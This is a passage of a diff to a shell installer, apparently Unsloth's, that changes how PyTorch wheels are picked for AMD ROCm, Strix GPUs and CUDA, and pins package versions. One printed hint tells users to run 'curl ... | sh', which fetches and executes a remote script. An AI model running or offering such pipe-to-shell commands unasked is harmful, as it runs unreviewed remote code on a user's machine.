+
+# rocm7.2 and the per-gfx indexes with the _grouped_mm <2.11 bug (gfx120X-all, gfx1151,
+# gfx1150) ship torch 2.11.0 -- raise the floor (also covers a pinned override that skipped
+# the Strix reroute). Pin the companions too: the per-gfx index publishes them independently
+# and a bare name can resolve a 2.12 ABI-mismatched wheel. Match on the FINAL leaf so a
+# custom mirror with a gfx/rocm7.2 path segment but a cu*/cpu family isn't forced.
+case "$_torch_index_leaf" in
+    rocm7.2|gfx120x-all|gfx1151|gfx1150)
+        TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0"
+        TORCHVISION_CONSTRAINT="torchvision>=0.26.0,<0.27.0"
+        TORCHAUDIO_CONSTRAINT="torchaudio>=2.11.0,<2.12.0"
+        ;;
+    # CUDA cu12x/cu13x indexes ship torch 2.11.x: widen the ceiling to <2.12.0 (matches
+    # _CUDA_TORCH_PKG_SPEC) and widen the companions with it so the trio stays paired.
+    cu[0-9]*)
+        TORCH_CONSTRAINT="torch>=2.4,<2.12.0"
+        TORCHVISION_CONSTRAINT="torchvision>=0.19,<0.27.0"
+        TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.12.0"
+        ;;
 esac
 
+# A pinned custom/unknown-leaf index (/simple, /current, /cu128-private) has no curated
+# companion set, so bound torchvision/torchaudio to the same <2.11 range the Python path pins
+# (else a mirror with newer companions resolves a 2.12 ABI-mismatched wheel). Known families
+# keep their curated companions above (_expected_torch_flavor_tag returns "" only for custom).
+if [ "$_torch_index_pinned" = true ] && \
+   [ -z "$(_expected_torch_flavor_tag "$TORCH_INDEX_URL")" ]; then
+    TORCHVISION_CONSTRAINT="torchvision>=0.19,<0.26.0"
+    TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.11.0"
+fi
+
 # Auto-detect GPU for AMD ROCm based
 # get_torch_index_url must have chosen */rocm*
 # (gfx in rocminfo or amd-smi list). Then require rocminfo "Marketing Name:.*Radeon".
+# Skipped when the index is pinned: an explicit override must not be rerouted to the
+# Radeon/Strix repos by GPU probing.
 _amd_gpu_radeon=false
+if [ "$_torch_index_pinned" = false ]; then
 case "$TORCH_INDEX_URL" in
     */rocm*)
         if _has_amd_rocm_gpu && command -v rocminfo >/dev/null 2>&1 && \
@@ -2448,29 +3130,64 @@ case "$TORCH_INDEX_URL" in
         fi
         ;;
 esac
-# ── Strix Halo / Strix Point: force rocm7.2 wheels, bypass Radeon repo ───────
-# gfx1151 (Strix Halo) and gfx1150 (Strix Point) have a ROCm 7.1 driver bug
-# that causes a segfault in torch._grouped_mm (moe_utils.py line 167).
-# The Radeon repo now ships cp313 wheels for rocm-rel-7.1, so when
-# _amd_gpu_radeon=true the installer silently lands on the broken combo.
-# Detect these GPUs when TORCH_INDEX_URL is rocm7.1 and override to rocm7.2.
-case "$TORCH_INDEX_URL" in
-    */rocm7.1|*/rocm7.1.*)
+# 0 when a rocmX.Y index leaf ($1, the final path segment) is older than floor
+# $2.$3 (int compare, so rocm7.2 < rocm7.13). Non-rocm leaves (gfx*, cu*, cpu) and
+# non-numeric versions return 1. Leaf-based (like $_torch_index_leaf) so a mirror
+# base holding its own rocm token compares the family leaf, not the base path.
+_rocm_leaf_below() {
+    case "$1" in rocm[0-9]*.[0-9]*) : ;; *) return 1 ;; esac
+    _rb=${1#rocm}; _maj=${_rb%%.*}; _min=${_rb#*.}; _min=${_min%%.*}
+    case "$_maj$_min" in *[!0-9]*) return 1 ;; esac
+    if [ "$_maj" -lt "$2" ]; then return 0; fi
+    if [ "$_maj" -eq "$2" ] && [ "$_min" -lt "$3" ]; then return 0; fi
+    return 1
+}
+# ── Strix Halo / Strix Point: route to the AMD arch-specific index ───────────
+# gfx1151/gfx1150 need torch 2.11+rocm7.13 from repo.amd.com/rocm/whl/gfx<arch>/,
+# which carries AMD's real fixes (the rocm7.1 _grouped_mm segfault, moe_utils.py:167,
+# and later Strix kernel bugs). Every generic pytorch.org index below rocm7.13 lacks
+# them (and the Radeon repo can be offline, unslothai#7264), so reroute a detected
+# Strix GPU whenever the picked index is older than the arch build -- covers today's
+# rocm6.0-7.2 and any future 7.x < 7.13; rocm7.13+ already has the fixes, so leave it.
+case "$_torch_index_leaf" in
+    rocm[0-9]*)
         # Collect every gfx token in rocminfo / amd-smi enumeration order
         # (skip duplicates), then index by HIP_VISIBLE_DEVICES /
         # ROCR_VISIBLE_DEVICES so a mixed Strix iGPU + non-Strix dGPU box
         # where the user selected the dGPU does NOT get rerouted to the
         # Strix per-gfx index.
-        _gfx_all=""
-        if command -v rocminfo >/dev/null 2>&1; then
-            _gfx_all=$(rocminfo 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}')
+        # || true on each probe: no gfx match makes grep exit 1, which under
+        # set -euo pipefail would abort the installer before the next fallback
+        # runs (now that the case matches every rocm* index, not just rocm7.1).
+        # A user-supplied UNSLOTH_ROCM_GFX_ARCH overrides probing (mirrors setup.sh
+        # and the display block), so a Strix override still reaches the arch index.
+        _gfx_all=$(printf '%s' "${UNSLOTH_ROCM_GFX_ARCH:-}" | tr '[:upper:]' '[:lower:]')
+        if [ -z "$_gfx_all" ] && command -v rocminfo >/dev/null 2>&1; then
+            _gfx_all=$(rocminfo 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)
         fi
         if [ -z "$_gfx_all" ] && command -v amd-smi >/dev/null 2>&1; then
-            _gfx_all=$(amd-smi list 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}')
+            _gfx_all=$(amd-smi list 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)
             # PowerShell paths also probe `amd-smi static --asic`; mirror it
             # so a host with hipinfo-less amd-smi reports the gfx target.
             if [ -z "$_gfx_all" ]; then
-                _gfx_all=$(amd-smi static --asic 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}')
+                _gfx_all=$(amd-smi static --asic 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)
+            fi
+        fi
+        # get_torch_index_url reads the arch with ROCR/HIP masks cleared, so a
+        # mask hiding every agent (e.g. ROCR_VISIBLE_DEVICES=-1) still lands
+        # here on a generic rocm index; re-probe unmasked or a masked-out Strix
+        # box keeps the broken generic wheels. Partial masks never get here
+        # (they enumerate at least one agent above) and keep their selection.
+        # ${VAR+x} (not :-): a SET-but-empty mask also hides every agent and
+        # must trigger the re-probe too.
+        if [ -z "$_gfx_all" ] && [ -n "${ROCR_VISIBLE_DEVICES+x}${HIP_VISIBLE_DEVICES+x}" ]; then
+            if command -v rocminfo >/dev/null 2>&1; then
+                _gfx_all=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; rocminfo 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)
+            fi
+            if [ -z "$_gfx_all" ] && command -v amd-smi >/dev/null 2>&1; then
+                _gfx_all=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi list 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)
+                [ -z "$_gfx_all" ] && \
+                    _gfx_all=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi static --asic 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)
             fi
         fi
         _runtime_gfx=""
@@ -2495,13 +3212,14 @@ case "$TORCH_INDEX_URL" in
         case "$_runtime_gfx" in
             gfx1151|gfx1150) _strix_gfx="$_runtime_gfx" ;;
         esac
-        if [ -n "$_strix_gfx" ]; then
+        # Skip rocm7.13+ generic indexes: they already ship the fixes, so the
+        # arch build (rocm7.13) would be a downgrade rather than a rescue.
+        if [ -n "$_strix_gfx" ] && _rocm_leaf_below "$_torch_index_leaf" 7 13; then
             echo "" >&2
-            echo "  [WARN] $_strix_gfx (Strix) + ROCm 7.1 detected -- known _grouped_mm segfault" >&2
-            echo "  [WARN] ROCm 7.1 wheels are broken for gfx1150/gfx1151 (moe_utils.py:167)" >&2
-            echo "  [WARN] Routing to AMD arch-specific index (torch 2.11+rocm7.13 has the real fix)" >&2
-            echo "  [WARN] Upgrade ROCm to 7.2+ to use the standard index:" >&2
-            echo "  [WARN]   https://rocm.docs.amd.com/en/latest/deploy/linux/index.html" >&2
+            echo "  [WARN] $_strix_gfx (Strix) detected -- routing to the AMD arch-specific index" >&2
+            echo "  [WARN] torch 2.11+rocm7.13 has AMD's real gfx1150/gfx1151 fixes (the ROCm 7.1" >&2
+            echo "  [WARN] _grouped_mm segfault, moe_utils.py:167, and later Strix kernel bugs)," >&2
+            echo "  [WARN] and is more reliable than the rocm7.2 index or an offline Radeon repo." >&2
             echo "" >&2
             # AMD's arch-specific index serves torch 2.11.0+rocm7.13.0 which has AMD's
             # actual fix for the gfx1151/gfx1150 _grouped_mm kernel bug -- preferred
@@ -2516,10 +3234,31 @@ case "$TORCH_INDEX_URL" in
             done
             TORCH_INDEX_URL="${_amd_strix_base}/${_strix_gfx}/"
             TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0"
+            # Pin companions to 2.11 (per-gfx index publishes them independently).
+            TORCHVISION_CONSTRAINT="torchvision>=0.26.0,<0.27.0"
+            TORCHAUDIO_CONSTRAINT="torchaudio>=2.11.0,<2.12.0"
             _amd_gpu_radeon=false
         fi
         ;;
 esac
+fi  # _torch_index_pinned guard (Radeon + Strix reroute)
+# Re-run over an existing install: keep the previous venv's torch RELEASE; the fresh
+# index above supplies the right flavor for this machine. Evaluated HERE, after every
+# index/constraint decision including the Strix reroute, so the window checked is the
+# final one and a raised floor (rocm7.2 / Strix gfx) rejects an older release.
+# _PREV_FALLBACK_CONSTRAINT keeps the range so the install can fall back when the exact
+# release is not on the chosen index (mirrors may prune old wheels). Skipped for --no-torch.
+_PREV_TORCH_PIN=""
+_PREV_FALLBACK_CONSTRAINT="$TORCH_CONSTRAINT"
+if [ "$SKIP_TORCH" = false ]; then
+    _prev_pin=$(_previous_torch_pin "$_PREV_TORCH_VER" "$TORCH_CONSTRAINT")
+    if [ -n "$_prev_pin" ]; then
+        _PREV_TORCH_PIN="$_prev_pin"
+        TORCH_CONSTRAINT="$_prev_pin"
+        substep "existing install has torch $_PREV_TORCH_VER -- keeping it (set UNSLOTH_TORCH_UPGRADE=1 to get the newest release)"
+    fi
+fi
+
 _TAURI_TORCH_INDEX_FAMILY=$(_tauri_torch_index_family "$TORCH_INDEX_URL")
 if [ "$_amd_gpu_radeon" = true ] && [ "$SKIP_TORCH" = false ]; then
     _TAURI_TORCH_INDEX_FAMILY="radeon"
@@ -2569,7 +3308,7 @@ elif case "$TORCH_INDEX_URL" in */rocm*|*/gfx*) true ;; *) false ;; esac; then
         case "$_gpu_disp_mkt" in
             *"9070 XT"*|*9080*)                                                                            _gpu_disp_gfx="gfx1201" ;;  # RDNA 4
             *9070*|*9060*)                                                                                 _gpu_disp_gfx="gfx1200" ;;  # RDNA 4
-            *"8060S"*|*"8050S"*|*"8040S"*|*"Strix Halo"*|*"Ryzen AI Max"*|*"AI Max"*) _gpu_disp_gfx="gfx1151" ;;  # RDNA 3.5 (Strix Halo: Radeon 8060S/8050S/8040S iGPU, Ryzen AI Max+)
+            *"8065S"*|*"8060S"*|*"8050S"*|*"8040S"*|*"Strix Halo"*|*"Ryzen AI Max"*|*"AI Max"*) _gpu_disp_gfx="gfx1151" ;;  # RDNA 3.5 (Strix Halo + Gorgon Halo: Radeon 8065S/8060S/8050S/8040S iGPU, Ryzen AI Max / Max+)
             *"890M"*|*"880M"*|*"860M"*|*"840M"*|*"Strix Point"*|*"Krackan"*|*"HX 37"*|*"AI 9 HX"*|*"AI 9 36"*|*"AI 7 35"*|*"AI 5 34"*|*"AI 7 PRO 35"*|*"AI 5 33"*) _gpu_disp_gfx="gfx1150" ;;  # RDNA 3.5 (Strix/Krackan Point: Radeon 890M/880M iGPU, Ryzen AI 9 HX 370/375)
             *"RX 7600"*|*"RX 7700S"*|*"RX 7650"*|*"PRO W7600"*|*"PRO W7500"*|*"PRO V710"*)                  _gpu_disp_gfx="gfx1102" ;;  # RDNA 3 (Navi 33)
             *"RX 7900"*|*"RX 7800"*|*"RX 7700"*|*"PRO W7900"*|*"PRO W7800"*|*"PRO W7700"*)                  _gpu_disp_gfx="gfx1100" ;;  # RDNA 3 desktop / workstation (Navi 31)
@@ -2604,6 +3343,17 @@ elif case "$TORCH_INDEX_URL" in */rocm*|*/gfx*) true ;; *) false ;; esac; then
 elif [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then
     # Apple Silicon: PyTorch gets Metal (MPS) acceleration over unified memory, so not CPU-only.
     step "gpu" "Apple Silicon (Metal, unified memory)"
+elif _has_amd_rocm_gpu; then
+    if [ "$_torch_index_pinned" = true ]; then
+        # An explicit UNSLOTH_TORCH_INDEX_URL/_FAMILY pin skipped all probing;
+        # do not claim ROCm is unusable when a CPU/other index was requested.
+        step "gpu" "AMD GPU (torch index pinned: $_torch_index_leaf)" "$C_WARN"
+    else
+        # AMD GPU visible to the kernel but the torch index stayed CPU: no usable
+        # ROCm userspace to pick a wheel. "none" would repeat the false diagnosis
+        # this installer used to give.
+        step "gpu" "AMD GPU (no usable ROCm -- CPU fallback)" "$C_WARN"
+    fi
 else
     step "gpu" "none (CPU-only)" "$C_WARN"
 fi
@@ -2612,8 +3362,17 @@ fi
 case "$TORCH_INDEX_URL" in
     */cpu)
         if [ "$SKIP_TORCH" = false ] && [ "$OS" != "macos" ]; then
-            substep "No GPU detected -- installing CPU-only PyTorch." "$C_WARN"
-            if [ "$OS" = "wsl" ]; then
+            if [ "$_torch_index_pinned" = true ]; then
+                # An explicit CPU pin is a request, not a detection failure:
+                # skip the SDK guidance (ROCm may be perfectly healthy here).
+                substep "CPU-only PyTorch (index pinned via UNSLOTH_TORCH_INDEX_URL / _FAMILY)."
+            elif _has_amd_rocm_gpu; then
+                substep "AMD GPU detected, but no usable ROCm/HIP install -- installing CPU-only PyTorch." "$C_WARN"
+                substep "Install the ROCm/HIP SDK and re-run this installer for GPU PyTorch." "$C_WARN"
+            else
+                substep "No GPU detected -- installing CPU-only PyTorch." "$C_WARN"
+            fi
+            if [ "$OS" = "wsl" ] && [ "$_torch_index_pinned" = false ]; then
                 # WSL + no GPU detected (detection above found nothing). Common
                 # cause: an AMD GPU whose ROCm-on-WSL runtime isn't exposed yet --
                 # /dev/dxg present (graphics) but no ROCm runtime.
@@ -2640,6 +3399,13 @@ case "$TORCH_INDEX_URL" in
                 substep "  driver is current; or run unsloth/scripts/install_rocm_wsl_strixhalo.sh yourself."
             else
                 substep "AMD ROCm users: see https://docs.unsloth.ai/get-started/install-and-update/amd"
+                # Only when ROCm truly can't see the GPU: a detected-but-too-old
+                # ROCm (rocminfo works, wheels need 6.0+) has its own guidance.
+                if ! _has_amd_rocm_gpu && _amd_gpu_present_via_pci; then
+                    substep "An AMD GPU is on the PCI bus but ROCm cannot see it (no /dev/kfd," "$C_WARN"
+                    substep "  rocminfo, or amd-smi). Install the ROCm kernel stack so /dev/kfd exists;"
+                    substep "  Strix Halo (gfx1151/gfx1150) needs a recent kernel (6.11+) and ROCm 7.x."
+                fi
             fi
             substep "Re-run with --no-torch for GGUF-only (faster, no PyTorch):"
             substep "  curl -fsSL https://unsloth.ai/install.sh | sh -s -- --no-torch"
@@ -2649,7 +3415,7 @@ case "$TORCH_INDEX_URL" in
         if [ "$_amd_gpu_radeon" = true ]; then
             substep "wheels: repo.radeon.com (Radeon)"
         else
-            substep "wheels: $TORCH_INDEX_URL"
+            substep "wheels: $(_strip_index_url_credentials "$TORCH_INDEX_URL")"
         fi
         ;;
 esac
@@ -2657,9 +3423,46 @@ esac
 # ── Install unsloth directly into the venv (no activation needed) ──
 tauri_log "STEP" "Installing PyTorch"
 _VENV_PY="$VENV_DIR/bin/python"
+
+# A released unsloth wheel can pin an older torch (unsloth 2026.7.2 declares
+# torch<2.11.0); a with-deps PyPI resolve then downgrades the whole trio,
+# swapping the pinned +cuXXX/+rocm build for PyPI's default. The flavor guard
+# below misses this (PyPI's torch 2.10 default is itself cu128-flavored), so
+# freeze the trio via uv --overrides (overrides replace dependency requirements
+# during resolution) while unsloth's other deps resolve normally. Sets
+# _UNSLOTH_TORCH_OVERRIDES from the trio in the venv; every with-deps unsloth
+# install (migrated and fresh) must call this before resolving and rm it after.
+_build_unsloth_torch_overrides() {
+    _UNSLOTH_TORCH_OVERRIDES=""
+    [ "$SKIP_TORCH" = false ] || return 0
+    _torch_trio_pins=$("$_VENV_PY" -c "
+from importlib.metadata import version, PackageNotFoundError
+for _p in ('torch', 'torchvision', 'torchaudio'):
+    try:
+        print(_p + '==' + version(_p))
+    except PackageNotFoundError:
+        pass
+" 2>/dev/null) || _torch_trio_pins=""
+    case "$_torch_trio_pins" in
+        torch==*)
+            _UNSLOTH_TORCH_OVERRIDES=$(mktemp)
+            printf '%s\n' "$_torch_trio_pins" > "$_UNSLOTH_TORCH_OVERRIDES"
+            # The CLI --overrides flag replaces any UV_OVERRIDE env file (same
+            # uv setting; macOS arm64 exports one here), so fold its pins in.
+            # awk, not cat: it drops inherited torch-trio lines (uv intersects
+            # duplicate overrides, so a conflicting pin would make resolution
+            # unsatisfiable) and newline-terminates the last line so an
+            # unterminated file cannot join two requirements into one.
+            for _ov_file in ${UV_OVERRIDE:-}; do
+                [ -f "$_ov_file" ] && awk '!/^[[:space:]]*torch(vision|audio)?([[:space:]<>=!~;@[]|$)/' "$_ov_file" >> "$_UNSLOTH_TORCH_OVERRIDES"
+            done
+            ;;
+    esac
+}
+
 if [ "$_MIGRATED" = true ]; then
-    # Migrated env: force-reinstall unsloth+unsloth-zoo to ensure clean state
-    # in the new venv location, while preserving existing torch/CUDA
+    # Migrated env: force-reinstall unsloth+unsloth-zoo for a clean state, preserving
+    # existing torch/CUDA unless the ROCm repair below fires.
     substep "upgrading unsloth in migrated environment..."
     if [ "$SKIP_TORCH" = true ]; then
         # No-torch: install unsloth + unsloth-zoo with --no-deps (current
@@ -2668,7 +3471,7 @@ if [ "$_MIGRATED" = true ]; then
         # to prevent transitive torch resolution.
         run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
+            "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6"
         # Resolve pydantic WITH deps so pip pins pydantic-core to the
         # matching version (no-torch-runtime.txt below is --no-deps).
         # All transitive deps are torch-free.
@@ -2679,9 +3482,15 @@ if [ "$_MIGRATED" = true ]; then
             run_install_cmd_retry "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT"
         fi
     else
+        # Pin mlx-lm away from 0.31.3 here too: a curl-piped migration has no
+        # overrides file, so UV_OVERRIDE is unset and this positional is the only cover.
+        _build_unsloth_torch_overrides
         run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
+            ${_UNSLOTH_TORCH_OVERRIDES:+--overrides "$_UNSLOTH_TORCH_OVERRIDES"} \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
+            "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" ${_MLX_LM_EXCLUDE_ARG:-}
+        [ -n "$_UNSLOTH_TORCH_OVERRIDES" ] && rm -f "$_UNSLOTH_TORCH_OVERRIDES"
+        _UNSLOTH_TORCH_OVERRIDES=""
     fi
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         substep "overlaying local repo (editable)..."
@@ -2694,21 +3503,14 @@ if [ "$_MIGRATED" = true ]; then
     # AMD ROCm: install bitsandbytes even in migrated environments so
     # existing ROCm installs gain the AMD bitsandbytes build without a
     # fresh reinstall.
-    if [ "$SKIP_TORCH" = false ]; then
-        case "$TORCH_INDEX_URL" in
-            */rocm*|*/gfx*)
-                _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY"
-                # Repair ROCm torch if overwritten during migrated install
-                _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true)
-                if [ -z "$_has_hip" ]; then
-                    substep "repairing ROCm torch (overwritten by dependency resolution)..."
-                    run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \
-                        "$TORCH_CONSTRAINT" torchvision torchaudio \
-                        --index-url "$TORCH_INDEX_URL" \
-                        --force-reinstall
-                fi
-                ;;
-        esac
+    if [ "$SKIP_TORCH" = false ] && [ "$_torch_index_is_rocm_family" = true ]; then
+        _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY"
+        # Repair ROCm torch if overwritten during migrated install
+        _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true)
+        if [ -z "$_has_hip" ]; then
+            substep "repairing ROCm torch (overwritten by dependency resolution)..."
+            _install_torch_default_index --force-reinstall
+        fi
     fi
 elif [ -n "$TORCH_INDEX_URL" ]; then
     # Fresh: Step 1 - install torch from explicit index (skip when --no-torch or Intel Mac)
@@ -2770,7 +3572,42 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
                 _ta_ver=$(_extract_version "$_ta_whl" "torchaudio")
 
                 _radeon_versions_match=false
-                if [ -n "$_torch_ver" ] && [ -n "$_tv_ver" ] && [ -n "$_ta_ver" ]; then
+                # Kept release (_PREV_TORCH_PIN) wins here too: pick its exact
+                # patch (else the newest patch of its minor) plus the paired
+                # vision/audio wheels. Any gap falls back to the newest-trio
+                # search below, mirroring _install_torch_default_index, so a
+                # rerun never drifts to another release nor below the kept one.
+                if [ -n "$_PREV_TORCH_PIN" ]; then
+                    _prev_kept_base="${_PREV_TORCH_PIN#torch==}"
+                    _prev_kept_minor="${_prev_kept_base#*.}"
+                    _prev_kept_minor="${_prev_kept_minor%%.*}"
+                    case "$_prev_kept_minor" in
+                        ''|*[!0-9]*) ;;
+                        *)
+                            _kept_torch=$(_pick_radeon_wheel "torch" "${_prev_kept_base}" 2>/dev/null) || _kept_torch=""
+                            [ -z "$_kept_torch" ] && { _kept_torch=$(_pick_radeon_wheel "torch" "2.${_prev_kept_minor}." 2>/dev/null) || _kept_torch=""; }
+                            _kept_tv=$(_pick_radeon_wheel "torchvision" "0.$((_prev_kept_minor + 15))." 2>/dev/null) || _kept_tv=""
+                            _kept_ta=$(_pick_radeon_wheel "torchaudio" "2.${_prev_kept_minor}." 2>/dev/null) || _kept_ta=""
+                            if [ -n "$_kept_torch" ] && [ -n "$_kept_tv" ] && [ -n "$_kept_ta" ]; then
+                                _torch_whl=$_kept_torch
+                                _tv_whl=$_kept_tv
+                                _ta_whl=$_kept_ta
+                                _tri_whl=""
+                                _radeon_versions_match=true
+                                # Say so when the listing pruned the exact patch
+                                # and a same-series build is installed instead.
+                                case "$(printf '%s' "${_kept_torch##*/}" | sed 's/%2[Bb]/+/g')" in
+                                    "torch-${_prev_kept_base}"[+-]*) ;;
+                                    *) substep "kept release ${_prev_kept_base} is not in the Radeon listing -- installing the closest 2.${_prev_kept_minor} series build instead" ;;
+                                esac
+                            else
+                                substep "[WARN] Radeon repo lacks a complete wheel set for kept $_PREV_TORCH_PIN -- installing the newest compatible set instead" "$C_WARN"
+                            fi
+                            ;;
+                    esac
+                fi
+                if [ "$_radeon_versions_match" != true ] && \
+                   [ -n "$_torch_ver" ] && [ -n "$_tv_ver" ] && [ -n "$_ta_ver" ]; then
                     _torch_minor=${_torch_ver#*.}
                     _ta_minor=${_ta_ver#*.}
                     _tv_minor=${_tv_ver#*.}
@@ -2827,10 +3664,8 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
 
                 if [ -z "$_torch_whl" ] || [ -z "$_tv_whl" ] || [ -z "$_ta_whl" ] || \
                    [ "$_radeon_versions_match" != true ]; then
-                    substep "[WARN] Radeon repo lacks a compatible wheel set for this Python; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN"
-                    run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
-                        "$TORCH_CONSTRAINT" torchvision torchaudio \
-                        --index-url "$TORCH_INDEX_URL"
+                    substep "[WARN] Radeon repo lacks a compatible wheel set for this Python; falling back to ROCm index ($(_strip_index_url_credentials "$TORCH_INDEX_URL"))" "$C_WARN"
+                    _install_torch_default_index
                 else
                     substep "installing PyTorch from Radeon repo (${_RADEON_BASE_URL})..."
                     # Pass explicit wheel URLs so the matched trio is
@@ -2850,42 +3685,34 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
                     fi
                 fi
             else
-                substep "[WARN] Radeon repo unavailable; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN"
-                run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
-                    "$TORCH_CONSTRAINT" torchvision torchaudio \
-                    --index-url "$TORCH_INDEX_URL"
+                substep "[WARN] Radeon repo unavailable; falling back to ROCm index ($(_strip_index_url_credentials "$TORCH_INDEX_URL"))" "$C_WARN"
+                _install_torch_default_index
             fi
         else
             substep "[WARN] Radeon GPU detected but could not detect full ROCm version; falling back to ROCm index" "$C_WARN"
-            run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
-                "$TORCH_CONSTRAINT" torchvision torchaudio \
-                --index-url "$TORCH_INDEX_URL"
+            _install_torch_default_index
         fi
     else
-        substep "installing PyTorch ($TORCH_INDEX_URL)..."
-        run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" torchvision torchaudio \
-            --index-url "$TORCH_INDEX_URL"
+        substep "installing PyTorch ($(_strip_index_url_credentials "$TORCH_INDEX_URL"))..."
+        _install_torch_default_index
     fi
     # AMD ROCm: install bitsandbytes (once, after torch, for all ROCm paths).
     # Gate on SKIP_TORCH=false so a user running with --no-torch on a ROCm
     # host stays in GGUF-only mode rather than pulling in bitsandbytes,
     # which is only useful once torch is present for training.
-    if [ "$SKIP_TORCH" = false ]; then
-        case "$TORCH_INDEX_URL" in
-            */rocm*|*/gfx*)
-                _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY"
-                ;;
-        esac
+    if [ "$SKIP_TORCH" = false ] && [ "$_torch_index_is_rocm_family" = true ]; then
+        _install_bnb_rocm "install bitsandbytes (AMD)" "$_VENV_PY"
     fi
-    # Fresh: Step 2 - install unsloth, preserving pre-installed torch
+    # Fresh: Step 2 - install unsloth, preserving the torch Step 1 installed
     tauri_log "STEP" "Installing Unsloth"
     substep "installing unsloth (this may take a few minutes)..."
+    _build_unsloth_torch_overrides
     if [ "$SKIP_TORCH" = true ]; then
         # No-torch: install unsloth + unsloth-zoo with --no-deps, then
         # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
         run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --upgrade-package unsloth --upgrade-package unsloth-zoo \
-            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
+            "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6"
         # Same pydantic-with-deps trick as the migrated branch.
         run_install_cmd_retry "install pydantic (with deps for compatible core)" \
             uv pip install --python "$_VENV_PY" pydantic
@@ -2903,7 +3730,8 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         fi
     elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \
-            --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
+            ${_UNSLOTH_TORCH_OVERRIDES:+--overrides "$_UNSLOTH_TORCH_OVERRIDES"} \
+            --upgrade-package unsloth "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6"
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
@@ -2912,30 +3740,26 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
             "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo"
     else
         run_install_cmd_retry "install unsloth" uv pip install --python "$_VENV_PY" \
-            --upgrade-package unsloth -- "$PACKAGE_NAME"
+            ${_UNSLOTH_TORCH_OVERRIDES:+--overrides "$_UNSLOTH_TORCH_OVERRIDES"} \
+            --upgrade-package unsloth -- "$PACKAGE_NAME" ${_MLX_LM_EXCLUDE_ARG:-}
     fi
+    [ -n "$_UNSLOTH_TORCH_OVERRIDES" ] && rm -f "$_UNSLOTH_TORCH_OVERRIDES"
+    _UNSLOTH_TORCH_OVERRIDES=""
     # AMD ROCm: repair torch if the unsloth/unsloth-zoo install pulled in
     # CUDA torch from PyPI, overwriting the ROCm wheels installed in Step 1.
-    if [ "$SKIP_TORCH" = false ]; then
-        case "$TORCH_INDEX_URL" in
-            */rocm*|*/gfx*)
-                _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true)
-                if [ -z "$_has_hip" ]; then
-                    substep "repairing ROCm torch (overwritten by dependency resolution)..."
-                    run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \
-                        "$TORCH_CONSTRAINT" torchvision torchaudio \
-                        --index-url "$TORCH_INDEX_URL" \
-                        --force-reinstall
-                fi
-                ;;
-        esac
+    if [ "$SKIP_TORCH" = false ] && [ "$_torch_index_is_rocm_family" = true ]; then
+        _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true)
+        if [ -z "$_has_hip" ]; then
+            substep "repairing ROCm torch (overwritten by dependency resolution)..."
